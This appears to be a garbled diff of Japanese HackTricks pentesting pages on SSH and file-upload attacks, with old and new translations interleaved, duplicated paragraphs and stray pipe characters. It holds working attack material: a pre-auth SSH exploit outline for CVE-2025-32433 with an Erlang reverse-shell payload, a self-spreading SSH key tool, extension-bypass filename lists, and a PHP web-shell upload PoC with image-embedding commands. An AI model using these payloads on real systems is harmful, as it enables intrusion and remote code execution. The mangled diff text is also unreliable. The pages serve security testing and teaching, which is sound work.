- **トラフィックのリダイレクト:** 攻撃者は被害者のトラフィックを自分のマシンに**転送**し、SSHサーバーへの接続試行を**傍受**します。
|
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) は上で説明したことを正確に実行します。
|
||||||
- **傍受とログ記録:** 攻撃者のマシンは**プロキシ**として機能し、正当なSSHサーバーを装ってユーザーのログイン情報を**キャプチャ**します。
|
|
||||||
- **コマンドの実行と中継:** 最後に、攻撃者のサーバーはユーザーの資格情報を**ログ記録**し、**コマンドを**実際のSSHサーバーに**転送**し、**実行**し、**結果をユーザーに返します**。これにより、プロセスがシームレスで正当なものに見えます。
|
|
||||||
|
|
||||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は、上記の説明通りに動作します。
|
実際に MitM を行って取得するには、ARP spoofing、DNS spoofin のような手法や [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) に記載された他の手法を使用できます。
|
||||||
|
|
||||||
実際のMitMをキャプチャするためには、ARPスプーフィング、DNSスプーフィング、または[**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing)で説明されている他の技術を使用できます。
|
|
||||||
|
|
||||||
## SSH-Snake
|
## SSH-Snake
|
||||||
|
|
||||||
発見されたSSHプライベートキーを使用してネットワークを横断し、各システムの各プライベートキーを新しいホストに利用する場合、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)が必要です。
|
システム上で発見した SSH の秘密鍵を利用してネットワークを横断し、各システムの秘密鍵を使って新しいホストへアクセスしたい場合は、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) が役立ちます。
|
||||||
|
|
||||||
SSH-Snakeは、以下のタスクを自動的かつ再帰的に実行します:
|
SSH-Snake は次のタスクを自動かつ再帰的に実行します:
|
||||||
|
|
||||||
1. 現在のシステムで、任意のSSHプライベートキーを見つける。
|
1. 現在のシステム上で SSH の秘密鍵を見つける,
|
||||||
2. 現在のシステムで、プライベートキーが受け入れられる可能性のあるホストまたは宛先(user@host)を見つける。
|
2. 現在のシステム上で、秘密鍵が受け入れられる可能性のあるホストや宛先 (user@host) を見つける,
|
||||||
3. 発見されたすべてのプライベートキーを使用して、すべての宛先にSSH接続を試みる。
|
3. 発見したすべての秘密鍵を使って、すべての宛先に対して SSH 接続を試みる,
|
||||||
4. 宛先に正常に接続できた場合、接続したシステムでステップ#1 - #4を繰り返す。
|
4. 宛先に正常に接続できた場合、接続先のシステムでステップ 1〜4 を繰り返す.
|
||||||
|
|
||||||
これは完全に自己複製し、自己伝播し、完全にファイルレスです。
|
これは完全に自己複製・自己拡散型で、ファイルレスです。
|
||||||
|
|
||||||
## Config Misconfigurations
|
## 設定ミス
|
||||||
|
|
||||||
### Root login
|
### Root login
|
||||||
|
|
||||||
SSHサーバーがデフォルトでrootユーザーのログインを許可することは一般的であり、これは重大なセキュリティリスクをもたらします。**rootログインを無効にすること**は、サーバーを保護するための重要なステップです。この変更を行うことで、管理者権限を持つ不正アクセスやブルートフォース攻撃を軽減できます。
|
SSH サーバがデフォルトで root ユーザのログインを許可していることは一般的で、重大なセキュリティリスクとなります。**root login を無効にすること** はサーバ保護における重要な手順です。管理権限を持つ不正アクセスやブルートフォース攻撃をこの変更で軽減できます。
|
||||||
|
|
||||||
**OpenSSHでRoot Loginを無効にする方法:**
|
**OpenSSH で Root Login を無効化する手順:**
|
||||||
|
|
||||||
1. `sudoedit /etc/ssh/sshd_config`でSSH設定ファイルを編集します。
|
1. SSH 設定ファイルを編集: `sudoedit /etc/ssh/sshd_config`
|
||||||
2. 設定を`#PermitRootLogin yes`から**`PermitRootLogin no`**に変更します。
|
2. 設定を `#PermitRootLogin yes` から **`PermitRootLogin no`** に変更する.
|
||||||
3. `sudo systemctl daemon-reload`を使用して設定を再読み込みします。
|
3. 設定をリロード: `sudo systemctl daemon-reload`
|
||||||
4. 変更を適用するためにSSHサーバーを再起動します: `sudo systemctl restart sshd`
|
4. 変更を反映するために SSH サーバを再起動: `sudo systemctl restart sshd`
|
||||||
|
|
||||||
### SFTP Brute Force
|
### SFTP Brute Force
|
||||||
|
|
||||||
@ -197,9 +215,9 @@ SSHサーバーがデフォルトでrootユーザーのログインを許可す
|
|||||||
|
|
||||||
### SFTP command execution
|
### SFTP command execution
|
||||||
|
|
||||||
SFTPセットアップでは、管理者がユーザーにリモートシェルアクセスを有効にせずにファイルを交換させることを意図している場合に一般的な見落としが発生します。ユーザーを非対話型シェル(例:`/usr/bin/nologin`)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。**ユーザーは、指定された非対話型シェルが引き継ぐ前に、ログイン後にコマンド(例:`/bin/bash`)の実行を要求することで、これらの制限を回避できます**。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。
|
SFTP のセットアップでよくある見落としとして、管理者はリモートシェルアクセスを有効にせずにファイル交換のみを許可するつもりで設定することがあります。ユーザに非対話型シェル(例: `/usr/bin/nologin`)を設定し、特定のディレクトリに制限しても、セキュリティ上の抜け穴が残ることがあります。**ユーザはこれらの制限を回避できる** ことがあり、ログイン直後に指定の非対話型シェルが起動する前にコマンド(例: `/bin/bash`)の実行を要求することで、不正にコマンドを実行できてしまい、意図したセキュリティ対策が無効化されます。
|
||||||
|
|
||||||
[こちらからの例](https://community.turgensec.com/ssh-hacking-guide/):
|
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
||||||
```bash
|
```bash
|
||||||
ssh -v noraj@192.168.1.94 id
|
ssh -v noraj@192.168.1.94 id
|
||||||
...
|
...
|
||||||
@ -222,7 +240,7 @@ debug1: Exit status 0
|
|||||||
|
|
||||||
$ ssh noraj@192.168.1.94 /bin/bash
|
$ ssh noraj@192.168.1.94 /bin/bash
|
||||||
```
|
```
|
||||||
以下は、ユーザー `noraj` のための安全な SFTP 構成の例です(`/etc/ssh/sshd_config` – openSSH):
|
以下はユーザー `noraj` のための安全な SFTP 設定 (`/etc/ssh/sshd_config` – openSSH) の例です:
|
||||||
```
|
```
|
||||||
Match User noraj
|
Match User noraj
|
||||||
ChrootDirectory %h
|
ChrootDirectory %h
|
||||||
@ -232,40 +250,40 @@ PermitTunnel no
|
|||||||
X11Forwarding no
|
X11Forwarding no
|
||||||
PermitTTY no
|
PermitTTY no
|
||||||
```
|
```
|
||||||
この設定では、SFTPのみを許可します:開始コマンドを強制することでシェルアクセスを無効にし、TTYアクセスも無効にし、すべての種類のポートフォワーディングやトンネリングも無効にします。
|
この設定は SFTP のみを許可します:start command を強制して shell access を無効化し、TTY アクセスも無効化しますが、同時にあらゆる port forwarding や tunneling も無効化します。
|
||||||
|
|
||||||
### SFTPトンネリング
|
### SFTP Tunneling
|
||||||
|
|
||||||
SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、これを通じてトラフィックをトンネリングすることもできます:
|
SFTP サーバにアクセスできる場合、トラフィックをそこ経由でトンネルすることもできます。例えば一般的な port forwarding を使って:
|
||||||
```bash
|
```bash
|
||||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||||
```
|
```
|
||||||
### SFTP Symlink
|
### SFTP Symlink
|
||||||
|
|
||||||
The **sftp** have the command "**symlink**". したがって、もしあなたがいくつかのフォルダに**書き込み権限**を持っているなら、**他のフォルダ/ファイル**の**シンボリックリンク**を作成することができます。あなたが恐らく**chroot**内に**閉じ込められている**場合、これはあなたにとって**特に有用ではない**でしょうが、もし**no-chroot**の**サービス**から作成した**シンボリックリンク**に**アクセス**できるなら(例えば、ウェブからシンボリックリンクにアクセスできる場合)、**ウェブを通じてシンボリックリンクされたファイルを開く**ことができるかもしれません。
|
The **sftp** にはコマンド「**symlink**」があります。したがって、あるフォルダに**writable rights**があれば、**other folders/files**の**symlinks**を作成できます。おそらく**chroot**の中に閉じ込められているため(**trapped**)、これは**won't be specially useful**かもしれませんが、作成した**symlink**に**no-chroot**な**service**(例えば、その symlink に**web**からアクセスできる場合)から**access**できれば、**web**経由で**symlinked files**を**open**することができます。
|
||||||
|
|
||||||
例えば、新しいファイル**"**_**froot**_**"から"**_**/**_**"への**シンボリックリンク**を作成するには:
|
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||||||
```bash
|
```bash
|
||||||
sftp> symlink / froot
|
sftp> symlink / froot
|
||||||
```
|
```
|
||||||
もしウェブを介してファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。
|
もしウェブ経由でファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダを列挙できます。
|
||||||
|
|
||||||
### 認証方法
|
### 認証方法
|
||||||
|
|
||||||
高セキュリティ環境では、単純なパスワードベースの認証の代わりに、キーベースまたは二要素認証のみを有効にすることが一般的な慣行です。しかし、しばしば強力な認証方法が有効になっていても、弱い方法が無効になっていないことがあります。よくあるケースは、openSSHの設定で `publickey` を有効にし、デフォルトの方法として設定するが、`password` を無効にしないことです。そのため、SSHクライアントの詳細モードを使用することで、攻撃者は弱い方法が有効になっていることを確認できます。
|
高セキュリティ環境では、単純なパスワード認証の代わりにキー認証や二要素認証のみを有効にするのが一般的です。しかし、強力な認証方式を有効にしても、弱い方式を無効化しないことがよくあります。よくあるケースとして、openSSH の設定で `publickey` を有効にしてデフォルトに設定するが、`password` を無効化しない、というものがあります。したがって、SSH クライアントの詳細出力 (verbose mode) を使うと、攻撃者は弱い方式が有効になっていることを確認できます:
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94
|
ssh -v 192.168.1.94
|
||||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||||
...
|
...
|
||||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||||
```
|
```
|
||||||
認証失敗の制限が設定されていて、パスワードメソッドに到達する機会がない場合、`PreferredAuthentications`オプションを使用してこのメソッドを強制的に使用することができます。
|
例えば、認証失敗の制限が設定されていて、password method に到達する機会がない場合は、`PreferredAuthentications` オプションを使ってこのメソッドの使用を強制できます。
|
||||||
```bash
|
```bash
|
||||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||||
...
|
...
|
||||||
debug1: Next authentication method: password
|
debug1: Next authentication method: password
|
||||||
```
|
```
|
||||||
SSHサーバーの設定を確認することは、予期される方法のみが許可されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。
|
SSHサーバの設定を確認して、想定した認証方式のみが許可されているかをチェックする必要があります。クライアントの詳細出力モードを使うと、設定の有効性を確認しやすくなります。
|
||||||
|
|
||||||
### 設定ファイル
|
### 設定ファイル
|
||||||
```bash
|
```bash
|
||||||
@ -281,22 +299,22 @@ id_rsa
|
|||||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||||
|
|
||||||
## 認証状態機械バイパス (Pre-Auth RCE)
|
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||||
|
|
||||||
いくつかのSSHサーバー実装には、**認証有限状態機械**に論理的欠陥が含まれており、クライアントが認証が完了する**前に** *接続プロトコル* メッセージを送信できるようになっています。 サーバーが正しい状態にあることを確認しないため、これらのメッセージはユーザーが完全に認証されているかのように処理され、**未認証のコード実行**やセッションの作成につながります。
|
いくつかの SSH サーバ実装には、**authentication finite-state machine** に論理的欠陥があり、クライアントが認証完了前に *connection-protocol* メッセージを送信できてしまいます。サーバが正しい状態にあるかを検証しないため、これらのメッセージはあたかもユーザが完全に認証済みであるかのように処理され、**unauthenticated code execution** やセッション作成につながります。
|
||||||
|
|
||||||
プロトコルレベルでは、_メッセージコード_ **≥ 80** (0x50) の任意のSSHメッセージは*接続*レイヤー (RFC 4254) に属し、**成功した認証の後のみ受け入れられるべきです** (RFC 4252)。 サーバーが*SSH_AUTHENTICATION*状態のままこれらのメッセージの1つを処理すると、攻撃者はすぐにチャネルを作成し、コマンド実行、ポートフォワーディングなどのアクションを要求できます。
|
プロトコルレベルでは、_message code_ が **≥ 80** (0x50) の SSH メッセージは *connection* レイヤ(RFC 4254)に属し、**successful authentication 後のみ受け入れられるべき**(RFC 4252)です。サーバが *SSH_AUTHENTICATION* 状態のままこれらのメッセージを処理すると、攻撃者は即座にチャネルを作成し、command execution、port-forwarding などの操作を要求できます。
|
||||||
|
|
||||||
### 一般的な悪用手順
|
### Generic Exploitation Steps
|
||||||
1. ターゲットのSSHポート(一般的には22ですが、他のサービスは2022、830、2222などでErlang/OTPを公開している場合があります)にTCP接続を確立します。
|
1. ターゲットの SSH ポートに TCP 接続を確立します(一般的には 22、ただし他のサービスが Erlang/OTP を 2022、830、2222 などで公開している場合もあります)。
|
||||||
2. 生のSSHパケットを作成します:
|
2. 生の SSH パケットを作成します:
|
||||||
* 4バイトの**packet_length**(ビッグエンディアン)
|
* 4-byte **packet_length** (big-endian)
|
||||||
* 1バイトの**message_code** ≥ 80(例:`SSH_MSG_CHANNEL_OPEN` = 90、`SSH_MSG_CHANNEL_REQUEST` = 98)
|
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||||
* 選択したメッセージタイプによって理解されるペイロード
|
* 選択したメッセージタイプが解釈できるペイロード
|
||||||
3. **認証ステップを完了する前に**パケットを送信します。
|
3. パケットを**任意の認証処理を完了する前に**送信します。
|
||||||
4. 現在_認証前_に公開されているサーバーAPI(コマンド実行、ポートフォワーディング、ファイルシステムアクセスなど)と対話します。
|
4. 現在 _pre-auth_ 状態で公開されているサーバ API とやり取りします(command execution、port forwarding、file-system access、…)。
|
||||||
|
|
||||||
Pythonの概念実証のアウトライン:
|
Python proof-of-concept outline:
|
||||||
```python
|
```python
|
||||||
import socket, struct
|
import socket, struct
|
||||||
HOST, PORT = '10.10.10.10', 22
|
HOST, PORT = '10.10.10.10', 22
|
||||||
@ -308,43 +326,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
|||||||
s.sendall(pkt)
|
s.sendall(pkt)
|
||||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||||
```
|
```
|
||||||
実際には、ターゲットの実装に応じてキー交換を実行(またはスキップ)する必要がありますが、**認証**は決して行われません。
|
実際にはターゲットの実装に応じて鍵交換を実行(またはスキップ)する必要がありますが、**no authentication** は一切行われません。
|
||||||
|
|
||||||
---
|
---
|
||||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||||
* **影響を受けるバージョン:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
* **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||||
* **根本原因:** ErlangネイティブSSHデーモンは、`ssh_connection:handle_msg/2`を呼び出す前に現在の状態を検証しません。したがって、メッセージコード80-255を持つパケットは、セッションがまだ*userauth*状態にある間に接続ハンドラーに到達します。
|
* **Root cause:** Erlang のネイティブ SSH デーモンは `ssh_connection:handle_msg/2` を呼び出す前に現在の状態を検証しません。したがって、メッセージコードが 80–255 の任意のパケットがセッションがまだ *userauth* 状態の間にコネクションハンドラに到達します。
|
||||||
* **影響:** 認証されていない**リモートコード実行**(デーモンは通常、組み込み/OTデバイス上で**root**として実行されます)。
|
* **Impact:** unauthenticated **remote code execution**(デーモンは通常、embedded/OT デバイス上で **root** として実行されます)。
|
||||||
|
|
||||||
攻撃者が制御するチャネルにバインドされたリバースシェルを生成する例のペイロード:
|
Example payload that spawns a reverse shell bound to the attacker-controlled channel:
|
||||||
```erlang
|
```erlang
|
||||||
% open a channel first … then:
|
% open a channel first … then:
|
||||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||||
```
|
```
|
||||||
ブラインドRCE / アウトオブバンド検出はDNSを介して実行できます:
|
Blind RCE / out-of-band detection は DNS を介して実行できます:
|
||||||
```erlang
|
```erlang
|
||||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||||
```
|
```
|
||||||
検出と緩和:
|
検出と緩和:
|
||||||
* SSHトラフィックを検査する: **認証前に観測されたメッセージコードが≥ 80のパケットはすべてドロップする**。
|
* SSHトラフィックを監視: **認証前に観測された message code ≥ 80 のパケットを破棄する**。
|
||||||
* Erlang/OTP を **27.3.3 / 26.2.5.11 / 25.3.2.20** 以上にアップグレードする。
|
* Erlang/OTP を **27.3.3 / 26.2.5.11 / 25.3.2.20** 以上にアップグレードする。
|
||||||
* 管理ポート(22/2022/830/2222)の露出を制限する - 特にOT機器において。
|
* 管理用ポートの露出を制限する (22/2022/830/2222) — 特に OT 機器で。
|
||||||
|
|
||||||
---
|
---
|
||||||
### 影響を受ける他の実装
|
### 他に影響を受ける実装
|
||||||
* **libssh** 0.6 – 0.8(サーバー側) – **CVE-2018-10933** – クライアントによって送信された認証されていない`SSH_MSG_USERAUTH_SUCCESS`を受け入れ、実質的に逆の論理欠陥を持つ。
|
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – クライアントから送信された認証されていない `SSH_MSG_USERAUTH_SUCCESS` を受け入れてしまう、事実上の逆のロジック欠陥。
|
||||||
|
|
||||||
共通の教訓は、RFCで定められた状態遷移からの逸脱は致命的である可能性があるということです。SSHデーモンをレビューまたはファジングする際は、*状態マシンの強制*に特に注意を払ってください。
|
共通の教訓は、RFCで定められた状態遷移からの逸脱は致命的になり得るということです。レビューや fuzzing を行う際は、SSH daemons に対して特に *state-machine enforcement* に注意を払ってください。
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 参考文献
|
## References
|
||||||
|
|
||||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||||
- [SSHハードニングガイド](https://www.ssh-audit.com/hardening_guides.html)
|
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||||
- [Turgensec SSHハッキングガイド](https://community.turgensec.com/ssh-hacking-guide)
|
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||||
|
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
## HackTricks自動コマンド
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
Protocol_Name: SSH
|
Protocol_Name: SSH
|
||||||
Port_Number: 22
|
Port_Number: 22
|
||||||
|
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## File Upload General Methodology
|
## ファイルアップロード 一般的な方法論
|
||||||
|
|
||||||
その他の有用な拡張子:
|
Other useful extensions:
|
||||||
|
|
||||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||||
@ -15,13 +15,13 @@
|
|||||||
- **Perl**: _.pl, .cgi_
|
- **Perl**: _.pl, .cgi_
|
||||||
- **Erlang Yaws Web Server**: _.yaws_
|
- **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Bypass file extensions checks
|
### ファイル拡張子チェックのバイパス
|
||||||
|
|
||||||
1. 適用される場合、**前述の拡張子を確認**してください。大文字小文字を混ぜてテストすることも有効です: _pHp, .pHP5, .PhAr ..._
|
1. 該当する場合は、前述の拡張子を**チェック**してください。また**大文字**を使ってテストしてください: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _実行用の拡張子の前に有効な拡張子を追加してチェックする(前述の拡張子も使用):_
|
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックしてください(前述の拡張子も使用):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. ファイル名の末尾に**特殊文字を追加**してみてください。Burp を使ってすべての **ascii** や **Unicode** 文字を**ブルートフォース**するのも有効です。(_前述した**拡張子**を使って試すこともできます_)
|
3. 末尾に**特殊文字を追加**してみてください。Burpを使ってすべての**ascii**や**Unicode**文字を**bruteforce**することができます。(_注意: **前述の**拡張子を使うことも試せます_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +31,7 @@
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. サーバ側の拡張子パーサを騙して保護を回避する方法(拡張子を二重にする、拡張子間にジャンクデータや**null**バイトを挟むなど)を試してください。_より良いペイロードを作るために前述の拡張子も使えます。_
|
4. サーバーサイドの拡張子パーサーを**騙す(tricking the extension parser)**ことで保護をバイパスしてみてください。例えば**拡張子を二重にする(doubling)**や拡張子の間に**ジャンク**データ(**null**バイト)を入れるなどのテクニックです。_より良いペイロードを作るために前述の拡張子を使うこともできます。_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -40,13 +40,13 @@
|
|||||||
- _file.php%0a.png_
|
- _file.php%0a.png_
|
||||||
- _file.php%0d%0a.png_
|
- _file.php%0d%0a.png_
|
||||||
- _file.phpJunk123png_
|
- _file.phpJunk123png_
|
||||||
5. さらに層を追加してチェック:
|
5. 前述のチェックに**さらに別の拡張子レイヤー**を追加してみてください:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. 実行用の拡張子を有効な拡張子の前に置いて、サーバが誤設定されていることを期待してみる。(Apache の誤設定を突くのに有用で、拡張子が** _**.php**_** を含むものは必ずしも .php で終わらなくてもコードが実行される場合がある)
|
6. 実行用拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを祈ってください。(useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
|
||||||
- _ex: file.php.png_
|
- _ex: file.php.png_
|
||||||
7. **Windows** の NTFS alternate data stream (ADS) を利用する。禁止された拡張子の後、許可された拡張子の前にコロン ":" を挿入します。その結果、サーバ上に**禁止された拡張子を持つ空ファイル**が作成されることがあります(例: "file.asax:.jpg”)。このファイルは後で short filename など他の手法で編集できる可能性があります。"**::$data**” パターンを使うと非空のファイルを作成することもできます。したがって、このパターンの後にドットを追加することもさらなる制限回避に有効です(例: "file.asp::$data.”)
|
7. **NTFS alternate data stream (ADS)** を **Windows** で利用する方法。禁じられた拡張子の後、許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に**禁じられた拡張子の空ファイル**が作成されます(例: "file.asax:.jpg”)。このファイルはその後、short filename を使うなど別の手法で編集される可能性があります。"**::$data**” パターンを使って非空のファイルを作ることもできます。したがって、このパターンの後にドットを追加することも追加制限のバイパスに有効な場合があります(例: "file.asp::$data.”)
|
||||||
8. ファイル名長の制限を破ることを試す。正しい拡張子が切り捨てられ、悪意のある PHP 部分が残る可能性があります。AAA<--SNIP-->AAA.php
|
8. ファイル名の上限を超えるようにしてみてください。有効な拡張子が切り捨てられ、悪意あるPHPが残る可能性があります。AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maximum 255 bytes
|
||||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
|
|
||||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||||
|
|
||||||
一部の upload handler は保存時にファイル名の末尾のドットをトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) バージョン 2.9.1 未満では、次の手順で拡張子検証をバイパスできます:
|
一部のupload handlerは保存時にファイル名の末尾ドットをトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 未満のバージョンでは、次のようにして拡張子検証をバイパスできます:
|
||||||
|
|
||||||
- PNG の `\x89PNG\r\n\x1a\n` のような有効な image MIME と magic header を使用する。
|
- 有効な画像の MIME と magic header を使用する(例: PNG の `\x89PNG\r\n\x1a\n`)。
|
||||||
- アップロードするファイル名を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。
|
- アップロードするファイル名を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。
|
||||||
- サーバは末尾のドットを削除して `shell.php` として保存し、公開ディレクトリ(デフォルトの public storage 例: /storage/files/)に配置されれば実行されます。
|
- サーバーが末尾のドットを削除して `shell.php` として保存し、public に公開されるディレクトリ(デフォルトの public storage 例: `/storage/files/`)に配置されれば実行されます。
|
||||||
|
|
||||||
Minimal PoC (Burp Repeater):
|
Minimal PoC (Burp Repeater):
|
||||||
```http
|
```http
|
||||||
@ -80,55 +80,55 @@ Content-Type: image/png
|
|||||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||||
------WebKitFormBoundary--
|
------WebKitFormBoundary--
|
||||||
```
|
```
|
||||||
次に保存されたパスにアクセスします (Laravel + LFMで典型的です):
|
次に保存されたパスにアクセスします(Laravel + LFMで一般的):
|
||||||
```
|
```
|
||||||
GET /storage/files/0xdf.php?cmd=id
|
GET /storage/files/0xdf.php?cmd=id
|
||||||
```
|
```
|
||||||
Mitigations:
|
Mitigations:
|
||||||
- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
|
- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
|
||||||
- サーバー側で厳格な allowlists を強制し、永続化されたファイル名を再検証する。
|
- サーバー側で厳格な allowlists を強制し、保存されたファイル名を再検証する。
|
||||||
- アップロードを非実行可能な場所から配信する。
|
- アップロードは実行可能でない場所から配信する。
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||||
|
|
||||||
- **Content-Type** チェックは、**Content-Type** **header** の **value** を次のように設定してバイパスできます: _image/png_ , _text/plain , application/octet-stream_
|
- **Content-Type** のチェックをバイパスするには、**Content-Type** **header** の **value** を次のように設定する: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- **magic number** チェックは、ファイルの先頭に **bytes of a real image** を追加して(_file_ コマンドを混乱させる)バイパスできます。あるいは **metadata** にシェルを埋め込む:\
|
- **magic number** チェックは、ファイルの先頭に **bytes of a real image** を追加してバイパスできます(_file_ コマンドを混乱させる)。あるいは **metadata** の中にシェルを挿入します:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
またはペイロードを画像に**直接埋め込む**こともできます:\
|
`\` またはペイロードを直接画像に**introduce**することもできます:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
